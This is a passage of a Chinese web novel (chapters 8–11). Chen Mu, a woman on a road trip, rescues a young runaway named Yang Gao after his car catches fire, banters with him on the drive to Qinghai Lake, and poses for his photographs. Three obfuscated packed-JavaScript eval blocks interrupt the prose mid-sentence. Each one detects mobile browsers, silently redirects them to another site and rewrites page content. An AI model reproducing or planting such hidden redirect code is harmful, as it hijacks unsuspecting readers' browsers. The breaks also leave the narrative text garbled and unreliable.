这是基于如果陈睦没来他真的会被炸死的事实,他认为这位姐姐确实算是他的救命恩人。 但他拿了包向上伸手时,本以为一定会拉住他的那只手却不在,这带给他的冲击力也是巨大的。 就是,他能理解,但是悲凉的感受也十分真实。 大概因为他不会这样——如果是他要救人就一定会救到底,万一没救成可能还会留下心理阴影自责一辈子。 陈睦哪知道他心里头的九曲十八弯,只当他是小男孩闹别扭,还故作大方:“谢啥呀,碰上这种事谁也不能见死不救啊。坐会儿吧,我报个警,一会儿让警察送你回家。” 杨糕浑身一个激灵:“不,我不回家!” “别倔了,都这样了还不回家,你还想上天吗?”陈睦可不想再跟他耗了,早知道在西宁那会儿就该报警说这儿有个疑似离家出走的死孩子。 她就不该体谅他已经十八岁了,果然谁也不是过了十八岁生日就突然长大的。 谁成想这孩子还试图控制她手机:“姐姐,你别报警,我现在真不能回家!” 陈睦看着他抓着自己拿手机的那只手,脾气一下上来了,另一只手伸出一根手指笔直地指着他:“我警告你放手啊,别跟我没大没小的。” 杨糕跟她僵持了三秒,到底是卸下劲来,颓然松了手任她报警去。 陈睦还瞪他一眼,一脸盛气凌人地拨打报警电话…… “靠。”她一把把手机扔副驾座椅上,“我没信号啊!” 8. 掉头 就这么顺上了一个人。 陈睦也想过别的办法,比如拿这臭小子的手机报警,试试看打不打得通。 但是这儿和青海湖那边又有点区别——在青海湖那是陈睦个人网不好,现在这里却是实打实的无人区,不光她没信号,是个人都没信号。 然后她又想要不就把他扔在这儿,等她开出这段无人区就报警让警察处理他。 但把一个十八岁的大孩子跟一辆熊熊燃烧的汽车一起留在这荒郊野地,她又多少有点于心不忍,而且她也不确定这种戈壁滩上会不会有狼。 那就只能带上。 这时候往哪带又是个问题——根据陈睦目前掌握的信息,这孩子不是西宁人,不想回家的话现在应该是在往远离家的方向走。也就是说,陈睦的原定路线是离他家越来越远的。 所以送他回家是绝不可能的事,陈睦又不是菩萨还特意陪他走折返路。 她拧起咖啡瓶盖,这就开始往公路方向开了:“这样吧,我把你带到德令哈,交给警察,让警察帮你回家。” 车轮子轧在戈壁上颠得人左摇右晃,但小伙子也顾不上这个,只着急地扒在她的头枕上:“不用啊,我包里有身份证,有手机,我要是想回家我自己就能买票回去,就不要麻烦警察了。” 陈睦转着方向盘,对于习惯了大开大合的她来说,这个速度就跟开玩具车似的:“我信你个鬼,你要真这么老实,从在西宁那会儿你就打道回府了——话说你到底哪儿人?” “我家那儿不好找,我说了你也不知道。” “甘G的车牌是吧?等我有网了我查查是哪。” * 好烦的大人。 越野车最后一颠,上了公路,总算是丝滑多了。 见自己横竖跑不了,杨糕索性坐直了身板,语气里有一丝不易察觉的骄傲:“我是张掖人。” “那又是哪儿啊,是甘肃的?” 杨糕惊奇又炸毛:“你不知道张掖?” “不知道张掖怎么了?”驾驶座上的姐姐语气比开车的姿势都随意,“不过好像是有点耳熟,可能中学时学过?” “‘塞上江南’啊!这么有名的地方你怎么会忘!”杨糕开始觉得她肯定是那种中学不好好学习、上课不认真听讲的人了,怪不得这么大个人了还穷到只能去那种小作坊租车。 但陈睦丝毫不为自己的“孤陋寡闻”而羞愧,反倒理所当然:“你要不是张掖人,学完这些东西过了十年你也得忘。不过你这么一说我好像有点印象——‘塞上江南’,好美的称号。” 这样的称赞让杨糕稍稍平复了些,但还是觉得不可思议:“可你都来西北玩了啊,你不走大环线吗?不打算去张掖吗?” 好问题,这个事情上陈睦承认自己很奇葩,毕竟她是个在家躺平一年刚刚决定出家门的人:“我就是……走一天算一天。这不才第一天吗?我就只看了西宁到德令哈的行程,后面的我还没仔细看。” 还有这样的? 杨糕怔住片刻,开始继续探究陈睦的性质:“你就一个人来的吗?” “对啊,现在一个人旅游的也很多吧?” “但是看你准备得……”杨糕说着看了眼身旁的各种补给,“还挺充分的。” “那当然了,我虽然第一次来西北,但这种地形我开得不少,安全上的东西肯定不会马虎。”说着还不忘嘲讽他,“又不是小孩子了,不能给旁人添麻烦啊你说是吧?” 老被这么刺挠,杨糕心里肯定不痛快,但大丈夫能屈能伸,他现在有比闹情绪更重要的事:“那你现在直接去德令哈吗?你应该还有个茶卡盐湖没玩吧?” “茶卡盐湖没玩?实话跟你说了,前两个景点我都没去成。”提起这茬陈睦就想叹气,“日月山封山了,青海湖我改道了,现在带着你我也不知道该怎么办,先往前开吧。” “别别别,姐姐,你听我的,你现在掉头往青海湖开!”杨糕的爪子又抓住了她的头枕。 * 杨糕算是明白了,这个姐虽然人生经验丰富,但她不会玩。 她肯定没有大量查看旅游攻略,没有掌握避雷要领,没有对各个景点进行深入了解——她可能真是那种“说走就走的旅行”,她事先都不知道日月山封山的事! 而对于杨糕来说,现在他的车已经没了,用公共交通游大环线其实也行,但时间上很不灵活。 更不要说这位姐姐似乎对他有了某种诡异的责任感,非得把他弄回家不可,那么摆在他眼前的只有两条路—— 第一,趁姐姐不备背包开溜,然后使用公共交通继续旅程。 第二,在有限的时间内攻略姐姐,成为一个值得信赖的旅游搭子! 他嘴皮子灵活得好像刚刚九死一生的不是他:“姐,我跟你说,现在这边有横风,你开着车你肯定能感觉到,这个天气下拍茶卡其实拍不出效果,不如回青海湖,我给你拍美美的照片!” 但陈睦的回答让他十分意外:“我是出来旅游的,又不是专门来拍照的。” * 不拍照你旅个什么游啊!你来什么大西北啊! 杨糕的脑子都快转冒烟了:“我知道,就是感受为主嘛。但是茶卡它整体风格就是很静、很空,你现在过去会发现在大风天里它不仅不静,而且还不空,因为旺季那儿全是人!” “有人就对了,有人说明那地方好玩。”陈睦压根没拿小屁孩的话当回事,“怕人多我还旅什么游,我不如回家待着了。而且那可是盐湖哎,别的地儿没有的,来都来了就去看看嘛。” “姐你听我说。”杨糕头往前探,手也伸到前排去比划,“大环线上四个盐湖——茶卡、东台、察尔汗、翡翠湖,你想去盐湖后面还有机会,尤其是东台,拍照……不是,是看起来最美,全网无差评。茶卡盐湖的风景属于可遇不可求,现在明摆着风大,你要是时间有富余去也就去了,可你连青海湖都还没去。” 杨糕总结:“那我的建议还是先去青海湖,茶卡可以战术放弃。” 陈睦嫌弃地把头往一边撇了撇:“你头能缩回去吗?你都快亲上来了。” 杨糕才反应过来自己确实有点冒昧,赶忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227684|151273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老实地坐回后排去:“姐姐你信我,这事情我谋划很久了,没人比我更熟悉大环线。您给我一点信任,我还您一个美妙旅程。” 陈睦到底是被他逗笑了。 她就奇了怪了:“你为了延迟抵达德令哈就这么不择手段吗?” “这跟延不延迟没关系!”杨糕说得情真意切,“姐姐你一看就是大老远来的,我是真心希望你玩得开心,想让远道而来的客人看到我们大环线最美的一面!” “好好好。”陈睦连声应他,“放心吧,我玩得挺开心的,这一路上不都是风景吗?而且我考虑现在都快4点半了,现在回青海湖到那儿得6点了,都能看夕阳了——夕阳在哪个湖上看还不都一样吗?太阳一照都一个色儿。” “不不不,6点你看不见夕阳。”杨糕说,“这个季节我们这儿日落,得等8点多。” * 陈睦开始觉得他是真有点用的。 毕竟是个对当地情况很了解的本地人。 她的车速开始降了:“哦……这么晚啊……” “对,下午6点天还大亮,正是光线好的时候,我们过去玩一个小时,然后再往德令哈开,预计晚上10点半到那,到时你把我交给警察,然后就可以吃个饭洗洗睡了——来这边玩的游客基本都这个点歇下,真的。” 杨糕又激动起来,再次把头伸到前头去:“而且你如果去茶卡的话我怎么办呢?你要是想把我看在身边,那可得给我买门票——我现在得买成人票了,60块钱一个人,然后进去还得坐摆渡车,单程就要50。” 也就是说她这个救命恩人没见着福报,倒要先给这小子花160。 这是捡了个祖宗吗? 陈睦向侧边瞄他一眼:“那去青海湖不也要门票吗?” “我带你去黑马河景区,只需要摆渡车30元,你去的话我请你,就当报答你的救命之恩!” “哈哈哈!”陈睦听乐了,这都是什么鬼,“合着你的命就值30元?” 见她高兴,杨糕就知道自己成功一半了,但还是保守地卖乖道:“因为我这趟出来确实没带多少钱……” 所以就瞄上她了?想蹭车? 对这件事本身陈睦其实是不介意的,一个人的旅行总是期待各种擦肩和加盟,这孩子犟是犟了点,但好在是不讨厌。 只是他才刚刚成年,又是背着家人跑出来的,贸然带上的话可能会招来麻烦。 不过那都是之后再考虑的事了,目前她还是“救命恩人”的身份,她也没有理由为了一个陌生人耽误游玩。 “这是你说的啊,到了青海湖可别反悔。”刚巧路过一个加油站,借着这边好掉头,陈睦一把就拐了回去。 略显不顺的旅程似乎随着杨糕的到来变得更有规划了些,这段回头路陈睦到底还是走了。 不过当方向打过来,看着眼前笔直的道路,陈睦倒觉得也没有那么不可接受。因为不管往哪个方向走,实际都是在往前走。 同样的路开两遍又有什么不可以呢,毕竟在这大西北,最美的风景永远在路上。 9. 胡侃 所以在和藏族小哥说了再见、以为这辈子将不复相见的一个小时后,陈睦又路过了他家牧场。 还真成了“有空常来玩”。 开过去时陈睦都不敢抬头,她不知道如果跟小哥对视上了,她应该拿出愉快还是尴尬的表情。 更不要说等从青海湖出来,她还得再开这段路,还得再路过小哥家门口。 人家可能也是第一次遇到在大环线上来回开的弱智。 这个时候杨糕已经吃了她两包玉米肠一碗酸奶,以他的饭量来说,这应该是克制了的。 看得出他其实也不是什么健谈的人,达到目的之后就待着不说话了,时不时还叹口气,很不自在的样子,好像和一个陌生人共处同一空间让他感到压力。 这波啊,这波是自我意识过剩。 陈睦以前也这样,从中学时她就觉得自己是人群焦点,一举一动都有人审视,好像她是什么大明星。 那时候她个头刚窜起来,体能强健到能和班上跑得最快的男生一较高下,甚至因为总在体育课上和那男生比赛而被传说“肯定对人家有意思”。 说来也奇怪,在那样一个“哪个少男不钟情,哪个少女不怀春”的年纪里,陈睦硬是没对那个运动系小帅哥动一点“歪心思”,每天琢磨的就是如何打败这个“宿敌”,同时特别痛恨自己的经期削弱。 那刚好是个“女汉子”成为热门人设的年代,陈睦无疑迎合了“女汉子”的一切特征。她从未因为个头高饭量大遭受任何歧视,反倒成为同学们集体崇拜的对象,一时间风光无两。 就这样的,陈睦也经历了一个以“不像个女生”为荣的阶段,还为自己身上那些“不方便”的女性特征倍感苦恼。 不过到了大学,这一心态就减轻了不少——没什么特别的契机,就是觉得这样活着太累了。 她明摆着就是个女生啊,她就是会痛经,跑起步来胸就是晃得难受,那能怎么办。 就吃止疼药呗,穿运动背心呗,真女人不会对这些事情耿耿于怀——用个现在流行的词说,这个叫自洽。 与此同时,陈睦那种“感觉大家都在看我”“不行我得身板挺直气宇轩昂”“动作要快转身要帅”的自我意识过剩,也被大大地削弱了。 她开始明白大多数人在看向她的时候,心里顶多闪过一句“好高啊”,至于其他大都是她自己的脑补和加戏。只有那些真正接触过、了解过她的人,才能知道她是多么的温柔善良、英姿飒爽。 所以从后视镜里看着这个还为这种初级课题而苦恼的小伙子,陈睦的优越感油然而生。 杨糕也注意到她了,抬起头来,二人的眼神在后视镜里进行了一个交汇。 看得出他身形一时间僵住,手也不知该往哪里放——他可能以为陈睦看他是有话要跟他讲,积极地等待着下一步的指示。 但是陈睦故意什么也没说,只是不慌不忙地移开了视线,她知道这么一来对方就会自动开口说话。 果然,小伙子很快就绷不住了:“嗯……姐姐,你如果特别不想和人同行的话,我们出了青海湖就分开也行的,我跟你保证我一定回家。” 陈睦蔫坏蔫坏的,也不说话,只叹了口气。 这对杨糕来说就是天塌了:“对不起……我真的不想再给你添乱了,但我……确实还不能回家。你要是实在觉得带着我麻烦,那能不能就当没见过我……” “你是跟家里人吵架了是吧?”陈睦顺势开始盘问他。 或许是为了展现自己的诚意,杨糕就跟竹筒倒豆子一样,别人张口一问他就恨不能全盘托出:“对,但我不觉得我有什么错——是因为我大学想报摄影专业,然后我爸妈不同意……其实为这个我已经跟他们冷战很久了,但是到报志愿的时候他们还是要求我选计算机、会计和师范。我实在没办法了,所以当着他们的面按他们说的报了名,但事后还是后悔,所以临到最后一天又登上去偷偷改了志愿……” 陈睦:“好家伙。” * 她车速不减:“真提气儿啊,父母偷改孩子志愿的见多了,头一回看到有孩子偷偷改回来的——年轻人,你将来必有大作为。” 杨糕都不知道她是不是在揶揄自己,只能绕过这话:“然后前几天升学宴嘛,他们一直跟人说我被计算机专业录取了,我实在不想再瞒了,所以就说了实话……然后我爸抄棍子说要打死我,我就开着那辆旧车出来了。 除了一些比较逆天的细节以外,其他的倒都跟陈睦猜的差不多。 她满不在意道:“挺好的啊,不留遗憾嘛。想当年我本来也是想走体育生的来着,也是爸妈不让。你看我就没你这个魄力。” 现在杨糕听出她这不是在埋汰人了:“哎,所以你最后没走这条路吗?那你学了什么专业?” * 出门在外,身份都是自己给的,像这种被打听私事的时候,陈睦通常选择胡咧咧:“我学计算机的。” 杨糕眼睛大了一倍:“你学计算机的?那你不是应该很有钱吗?” 这话说的,合着她现在看起来这么穷吗。 陈睦没打什么磕绊,继续瞎侃:“就是因为不喜欢啊,所以学不好,工作也做不下去,后来索性就换行业了。” “啊,那你换什么行业了?” “开大车,跑运输。所以我不是说了我经常开这种公路嘛。” “那要很辛苦吧?经常开夜路吧?原来开大车的也有女生吗?” “对啊,有什么不行的。你看我这不是开得好好的吗?” 世界线连起来了,杨糕深信不疑:“怪不得你没做攻略都能准备这么充分,车还开得这么好——哎,那你爸妈不说你吗?” “说我?说我什么,我都快30了,还想拿我跟小孩比划呢?” “那你会不会有那种压力——”杨糕努力组织语言,像极了什么访谈节目,“就是,你看你本来学计算机的,又有相关工作,你爸妈肯定特别为你骄傲。然后你现在开长途运货……哦,我不是说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227685|151273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个职业不好的意思哦,我很尊重你的职业的,我就是想问,你不怕他们对你失望吗?” “怕不怕啊……”话到这儿了,陈睦倒是带上几分真情实感,“说实话一开始是怕的,不光怕爸妈,还怕亲戚朋友的眼神。但是怕归怕,最开始那个死人工作我是真做不下去了,所以换赛道其实也是大势所趋。然后后面就把这种恐惧转变为动力嘛,就想着拼了命把事情做好了,自然就能堵上旁人的嘴……” 陈睦说着说着嘴上一顿,因为在聊往事的时候,她好像短暂地忘记了自己是什么处境。 好在杨糕很快把把她的注意力吸引过去:“我懂了,行行出状元,所以你想要成为一名优秀的大车司机。” 对,一名优秀的大车司机。 陈睦清了下嗓子排解内心莫名的郁结,然后才回他:“类似吧,反正就是喜欢一些自由自在的感觉。而且我也不后悔,我知道哪怕重来一次,我也还是会做出一样的选择。” “哪怕结果是失败的?” “哪怕结果是失败的。” “你太牛了姐。”杨糕感叹道。 惶惑多日的心脏总算稍稍安定了些,就像在茫茫人海中找到了同类,面对这个真正的知心人,杨糕毫无保留地表达着自己的激动:“我也是这样想的!不喜欢的专业再好就业也是一辈子的煎熬啊,我就跟我爸妈说了,就算我现在选了别的专业,走了弯路,我最终也还是会走回这条路上的。他们完全不知道我在说什么,只觉得我病入膏肓了,但我不觉得我是钻牛角尖,也不觉得我有多不孝……” “不孝?”陈睦接上话茬,“怎么会不孝呢,不是说‘小杖受,大杖走’嘛。” “什么意思?” “就是你爸轻轻敲你一下,你就受着,你爸想拿大棒子抡死你,你就赶紧跑——这是为了避免爸爸犯错啊。放心吧,这种情况下你离家出走没什么问题,你可太孝顺了。” “是吧!”要不是被安全带扯着,杨糕真想扑上去抱抱这位睿智的姐姐,“姐你到底哪里人啊?你这么有想法,肯定是大城市来的吧?” 这夸得人真舒服,陈睦胳膊肘都支在了窗框上:“算是大城市吧,是个省会。” “哪个省的省会?” 陈睦现场直编:“江苏省会。” “哦,原来你是苏州人啊!” 伴随着杨糕惊喜的声音,陈睦一口老血险些喷了出来。 她憋笑都快憋出内伤了,杨糕还在后面天真道:“怪不得呢,我一看你就觉得你气质不一样……哎,苏州是不是特别漂亮啊?” 陈睦捶着胸口连声应:“对对对,特别美。” “真是太巧了——江苏籍游客在黑马河是免费的,这么一来30元都能省了!”眼瞅着车已经开进黑马河的停车场,杨糕解开安全带积极向前伸手,“姐你身份证给我吧,我去帮你拿票!” 陈睦的快乐到此结束。 好消息——出门在外身份都是自己给的;坏消息——给太多了。 10. 羊羔 片刻之前陈睦还是一个计算机专业毕业的苏州大车司机,现在她只剩下了一个身份——骗子。 杨糕路费-60。 毕竟是掏心掏肺聊了老半天,结果知道对方嘴里没一句实话,滋味还是很不好受的。以至于把身份证还回来时,杨糕连表情管理都不做了:“给。” 陈睦挠挠耳后,试图找补:“我祖籍在苏州……” “我刚查了,江苏省会也不是苏州,是南京。”这是真有情绪了,“你就是在耍我。” 得,避无可避,陈睦只能模糊处理:“我也没说是苏州啊,不是你自己说是苏州的吗?你看你之前还嘲笑我不知道张掖,那现在算扯平了好吧?” 但是孩子好像突然变聪明了,没那么好忽悠了:“扯平?这是嘲笑的事扯平了,欺骗的事又怎么算?所以你根本不是学计算机的,你也不是什么大车司机……” “这不是你先没边界感的吗?谁被打听隐私都不舒服啊。你看为了不让你尴尬我还现编了一堆,不然我就直接拒绝回答了。” “你这还不如直接拒绝回答呢……”杨糕说到一半忽然又意识到哪里不对,“等会儿,不是你先打听我隐私的吗?是你先问我是哪里人,还问我和家里吵架的事……” 陈睦一摊手:“我也没让你必须说实话啊。” * 气死,气死,这个世界太污浊了。 不过杨糕也算扳回一局,至少通过她的身份证得知她叫“陈睦”,是浙江杭州人。 这带来了丰富的信息,但他现在暂时不想多说什么,单纯地沉浸在了对“性本善”的怀疑当中。 而陈睦已经半抱着臂打了报警电话,声音人五人六的:“对对,就是从橡皮山往茶卡方向的那条路上,路东边……没有的,没有人员伤亡……对,因为那段路属于无人区,我就把驾驶员带上了……哦我不是驾驶员——来来来,驾驶员接电话。” 杨糕本来还惆怅着,一听说警察要找自己,一下子紧张上了。 看得出他有点不想接,但人还没反应过来,手机就已经塞到了他手里,他只能硬着头皮开口:“啊,喂……对,是我开的,但我不是故意的,当时我开着开着闻到有味道,我怕伤着人才开下去的,然后……不不不,我不是车主,这是我爸的车……登记汽车报废?好的好的,我之后让我爸去登记……名字吗?我、我叫杨糕,木易杨,糕点的糕,身份证号是……” 听到他说自己叫“羊羔”的时候陈睦一愣,还以为他是把艺名或者小名说出来了,没想到还真有叫这名字的。 她往自己引擎盖上一坐,抬头看着这小子打电话。 还挺反差的,这么大个个子,也不是什么乖巧孩子,偏偏叫个“杨糕”。 但随着陈睦越看越久,却又隐约觉得这名字一点儿没毛病——人说初生牛犊不怕虎,不就是说这个不知者无畏的傻劲儿吗?没见过世间险恶,一切行动以真善美为主导,也算是个天真烂漫的小羊羔。 正这么想着,那边电话就打完了。 手机还回陈睦手上,上面都有手汗了。她一边揣手机,一边把视线一收:“至于吗,紧张成这样?” 杨糕倒知道她盯着自己看了老半天,但这对他来说不重要,重要的是:“姐,你知道汽车怎么登记报废吗?” 陈睦还真知道:“带上材料去你们当地的回收报废厂业务部填单子。” “什、什么部?” “回收报废厂,业务部。” “带什么材料?” “那么多我哪记得。”陈睦给他个白眼,“你刚刚电话里怎么不问?” “我……”杨糕也不知道怎么回这话,原来这是可以问的吗? 他走开两步,又走回来,很忙的样子:“那我现在应该……” “你应该给你爸打电话,让你爸去处理,你又不是车主你能干嘛?” “可是是我把车搞坏的啊,我得把事情解决吧……”杨糕又走了一个来回,“而且我爸也没烧过车啊,他知道怎么登记报废吗?” “你爸可能不知道怎么登记报废,但他知道怎么查、怎么问。”看他这么紧张,陈睦反倒把语气放缓了,“你怕什么啊,你又没犯法,怎么跟警察打完电话就跟个逃犯似的。” “你才逃犯呢!”这话说得太真实,杨糕忙不迭地反驳回去,脸也随之红了。 他试图挽尊:“我不是怕,我就是觉得自己……做错事了。” “做错什么事?你说炸车啊?” “嗯……” “这算什么做错?”陈睦失笑,“这不是碰上交通事故了吗?你自己没事就是最大的成功了。” 杨糕却还绕在里面:“但是毕竟是弄坏一辆车,还被警察找了……” ……这是怎么个脑回路呢? 陈睦试图跟他掰扯:“那马路上天天有汽车剐蹭,每一起都有交警管的,难道这些都是犯错吗?” “剐蹭和炸车还是不太一样吧……” “那我也炸过车,我怎么就没觉得自己有错呢。” “啊?你怎么也炸过……” 陈睦凌空丢了瓶矿泉水给他,打断施法:“赶紧的吧,该打什么电话赶紧打,别在这磨磨唧唧的。这世上没那么多错可犯,警察也不是你们班班主任。” “你……”杨糕被挤兑得想还嘴,但心里又知道这话本质上是安慰他,于是一种又气愤又宽慰的复杂情绪在他年轻的身体里交织。 怎么会有这种人,安慰人都安慰得这么难听。 他幽怨地看了陈睦一眼,到底还是先把这口气咽下了——该说不说,陈睦的话确实让他鼓起了跟家里打个电话的勇气。 他看着通讯录里“爸爸”的字样,做了几次深呼吸。 然后手指头一拐,手机往耳朵边一放:“喂,表姐,有个事麻烦你帮我转告一下我爸哦……” * 太费劲了,陈睦也忍不住去想自己有没有经历过这么可悲的年纪。 结论是有的。 那时候看见天高,自己却羽翼未丰,可人们不是都说“天高任鸟飞”吗?于是就怀疑,自己是那个没用的“笨鸟”。 现在想想,那个阶段 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227686|151273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也挺窒息的,那种对挣脱束缚、掌控自己人生的渴望,和现在这种对重振旗鼓、寻求人生意义的探寻,也不知道哪个更难熬一点。 打完这通电话,杨糕长长地吐出一口气,似乎心态放松了不少。 毕竟表姐也没有责怪他什么,只是反复确认他有没有受伤。 于是手机一揣,终于又是那副故作可靠的样子了:“嗯……可以了,要不我们现在进去?” 陈睦点头:“好啊。” “嗯嗯,那我拿一下相机。”杨糕说着去车上翻背包,把一款入门级微单挂在了脖子上,顺手还给自己扣上一顶牛皮帽子。 还真有点摄影师的样子了。 从车上爬下来见陈睦还没动,他略一迟疑,忍不住问道:“你就穿这身拍吗?” 陈睦也低头看了一眼——运动防晒衣加工装裤,不挺好的嘛:“就这样吧,我其他衣服差不多也就这个风格。” 杨糕是信的。 这一路上他也看得出陈睦这人个人风格强得出奇,虽然这边穿白色连衣裙更出片,但陈睦看起来实在不像是愿意为了拍一个景点专程换一套衣服的人。 这就十分考验摄影师的功底——就是甭管她穿的啥,得让她能跟景色融到一起去。 “知道了,那我们先坐摆渡车到湖边,然后我再来确定一下怎么拍。”杨糕说着率先往摆渡车站点走去。 上一次过来他没有拉到任何一个客人,这一次回来他自带了一个客人。 虽然是为了换算成蹭车费用,但这在某种意义上,也算是杨糕人生中的第一次客片。 他一定要把她拍美咯。 * 兜兜转转终于来到青海湖边,陈睦的第一反应是,还挺冷的。 炽烈的太阳也不耽误风大,吹来清冽的湖水味道,也吹来湖上的冷意。摆渡车在这样的风里驶过一段柏油路,路中间不是黄线也不是白线,而是粉、黄、蓝三种颜色的长实线,看上去颇有童趣。 还在车上杨糕就已经开始了,陈睦本身还在看风景,听到相机的声音才回过头来,在杨糕的取景框里比了个剪刀手。 Pose略显普通,但既然客人喜欢就有她喜欢的道理,杨糕还是积极地按下快门捕捉下来。 然后陈睦就继续扭头看湖了,看上去对拍照的事情兴致缺缺。 这反倒让杨糕压力减轻不少,似乎客人这边是糊弄着也能过关的,主要是看他能不能过了自己这关。 他不停变换角度,看着取景框里的侧颜。也是直到这时他才开始仔细观察陈睦的长相—— 头发半长不短,能扎能散,倒是很有发挥空间;眉毛浓密偏粗,这也是为什么这张脸看起来一点都不和善;眼睛不小,但是单,仔细一看还有点小内双,这种眼睛杨糕不会贴双眼皮贴;高颧骨高鼻子,侧脸比正脸好看;嘴唇薄但颜色深,嘴角略微向下,乍一看像个严肃的外交官。 就是,哪哪都写着,老娘不好惹。 杨糕这就有思路了:“姐。” “嗯?” “我觉得你适合拍硬照。” 11. 姐姐 夺新鲜那:“硬照是怎么照?” “就是类似广告图、杂志封面那种。” 陈睦明白了:“就是很高级的那种是吧?可以啊,我也觉得我很适合——我这么些年被问得最多的,一是怎么不去打篮球,二是怎么不去当模特。” 杨糕有被逗到,想笑却还没忘记陈睦是怎么拿他当猴耍的,所以一抿嘴又把笑憋了回去。 话说这个事他也好奇很久了:“所以你到底多高啊?” 陈睦一点儿磕绊没打:“你多高啊?” 好明显的拒绝,杨糕又急起来:“这也需要保密吗?” “我问你你也没回答我啊。” “我……”像是为了证明自己不觉得这很冒犯一样,杨糕顿了顿,然后“大方”地回答,“我一米八。” “正正好一米八吗?” “……对啊。” 应完等了几秒,不见下文,杨糕只得追问:“所以你呢?” 陈睦:“我也差不多吧。” * 五分钟后,保密局局长陈睦在湖畔下车。 她隐约记得来之前她在视频里看到说西北大环线“囊括海洋以外所有地貌”,但到了这儿她不禁要想,这跟有大海还有什么区别。 这湖可太大了,一眼望不到边,远远地与天相接。 只不过脚下踩的不是沙滩,而是坚硬的土地、石块,偶有小片的绿草从这样的硬土中顽强探出。 一如杨糕所说,6点天还大亮,像是东南地区下午4点的模样。湖面被风吹起道道水波,在这样强烈的日照下波光粼粼、璀璨耀眼。 陈睦又不信邪地将墨镜抬起来,过了几秒还是决定焊在脸上。 3200米海拔的太阳真不是闹着玩的。 正这么感慨着,身边又是“咔嚓”一声。陈睦扭头看去,杨糕刚拍完一张,正用帽子挡着光,费劲地看着相机。 也是,这么强的光,看清屏幕都费劲吧。 “干摄影也不容易啊,到了这么美的地方也看不了景,只能看我。” 杨糕才不在乎她的调笑,他知道陈睦只是拿他当小孩子逗,还是自顾自地调整好参数,然后重新举起相机:“再来一张试试,对,还是像刚才那样抬一下墨镜……” 得,这胳膊跟刚长出来似的,完全没有抓拍的自然。 不过光线是找得差不多了:“好,就这样拍吧。所以这组照片的核心立意应该是‘有心事的旅人’。” “哇哦。”陈睦感叹,“搞这么文艺的吗?” “是啊,你不是秘密很多吗?”杨糕的脸藏在相机后头,手指头有一下没一下地按着快门,“反正你在我眼里已经是个很有故事的人了。” * 太美妙了,在这绿水青山下被偶遇的十八岁小帅哥说是“有故事的人”。 陈睦眼中的自己压根都不是高大了,那是深沉又巍峨。 这么一想这小羊羔可能还真是先天摄影圣体,他这么三两句一说陈睦整个人舒展了不少,看向镜头的眼神都带上几分迷离。 只可惜她戴着墨镜,实际并不能拍出她是啥眼神。 杨糕丝毫没有察觉她的异样,只是努力找着合适的构图角度,至于造型的事,风会替他完成:“很好,继续退,哎,对,再退两步,看看风景,假装没有我,很好,很美,现在回头看我,非常好……” 这样一套连招下来,陈睦已经觉得自己是国际超模了。 这种快乐和在藏族小哥那边感受到的还不太一样——在小哥那边是跟动物亲近,情绪价值给得又足,所以玩得开心;但是在杨糕这儿陈睦就觉得他们有感情基础,这小伙子是真的懂她,他甚至看得出她有故事。 见杨糕已经停止拍照,开始低头审视刚才的拍摄成果,陈睦也积极地凑上前去:“怎么样,好看吗?” 她以为自己会看到网上那种电影感十足的美丽照片,但没想到…… “你把我脸的拍得好大,皮肤也拍得好差。”陈睦狐疑地瞄着自己的摄影师,“你确定你技术没问题吗?我照镜子时也没觉得自己长这样啊。” 杨糕给气得闭了下眼。 * 一般人应该会说“啊,我的脸好大”“啊,我皮肤好差”才对吧? 怎么到她这儿全成了别人的问题了? 但想起自己这是蹭的人家的车,搞得好的话后面说不定能一路蹭下去,杨糕决定忍气吞声:“镜头拍人像就是这样的。” “那网上那些图怎么那么好看?” “拍完都是要修的,你看到的那些都是精修过的。”杨糕说,“一般大学生陪拍1-2小时,底片大概150张全送,精修6张。按这个规格哪怕最普通的新手也要收费近200了,当然来回路费也是全包的——现在我跟你就不算钱了,但出于职业道德我还是按照这个标准来拍,只是今晚到德令哈实在是太晚了,我只能先修一张给你看看效果,其他的等我有空继续修。” 好家伙,还“我跟你就不算钱了”,说得陈睦占便宜了似的。 她好笑道:“那要是效果不好呢?” 杨糕执着地一张张往前翻看:“不会不好的,其实你表现力还挺强——来,这个帽子你戴上,然后墨镜可以摘了。” 这种牛皮帽子两边是翘起来的,是西部片里常见的牛仔帽,杨糕戴的时候觉得自己就像那个旅行青蛙,但一到陈睦脑袋上,霎时感觉就上来了。 “哦!”杨糕不由得惊叫一声,然后飞快地举起相机,从镜头里看她。 镜头短暂地模糊了一下,也给了陈睦摘掉墨镜的时间,当杨糕把镜头拉近,重新聚焦,陈睦便刚好转过头来,给了他一个眼神。 